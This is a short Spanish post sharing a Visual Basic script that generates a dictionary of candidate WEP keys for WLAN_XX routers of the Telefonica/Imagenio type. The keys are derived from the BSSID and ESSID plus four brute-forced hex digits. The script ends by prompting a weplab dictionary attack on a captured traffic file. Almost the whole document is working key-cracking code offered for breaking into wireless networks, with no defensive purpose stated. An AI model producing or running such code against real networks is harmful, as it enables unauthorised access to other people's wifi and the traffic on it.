Interesante script en Visual Basic que genera posibles claves WEP para las redes wifi del tipo WLAN_XX.
' Programa generador del espacio de claves WEP posibles de las redes del tipo WLAN_XX similares a las de Imagenio de Telefonica, :p ' Por defecto el formato de las claves es el siguiente R......XXXX.. ' Donde .... es fijo ' Combinaciones posibles = 256*256*3 =196.608 claves ' El diccionario de posibles claves se guardara en el fichero dic_keys.txt
Sub genkey()
'Declarando variables Dim nR, n1, n2, n3, n4 As Integer Dim msR, msx1, msx2, msx3, msx4, msBSSID, msESSID As String Dim msclave, mspA, mspB As String
'Inicializando variables nR = n1 = n2 = n3 = n4 = 1 msBSSID = InputBox("Introduce el BSSID en formato XX:XX:XX:XX:XX:XX" & msBSSID) msBSSID = Replace(msBSSID, ":", "") mspA = Left(msBSSID, 6) msESSID = InputBox("Introduce el ESSID de la wLAN en formato WLAN_XX" & msESSID) mspB = Right(msESSID, 2)
'Debugging MsgBox (" ¿Iniciar generación de claves? ... ")
'Abriendo fichero de claves Open "c:\dic_keys.txt" For Append Access Write As #1
'Generacion y escritura de claves en fichero For nR = 1 To 3 msR = Choose(nR, "Z", "X", "C") For n1 = 1 To 16 msx1 = Choose(n1, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F") For n2 = 1 To 16 msx2 = Choose(n2, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F") For n3 = 1 To 16 msx3 = Choose(n3, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F") For n4 = 1 To 16 msx4 = Choose(n4, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F") msclave = msR & mspA & msx1 & msx2 & msx3 & msx4 & mspB Print #1, msclave Next n4 Next n3 Next n2 Next n1 Next nR
' Cerrando fichero de claves Close #1
MsgBox ("Finalizado! Listo para realizar ataque por diccionario #weplab -k 128 -y dic_keys.txt file.cap")
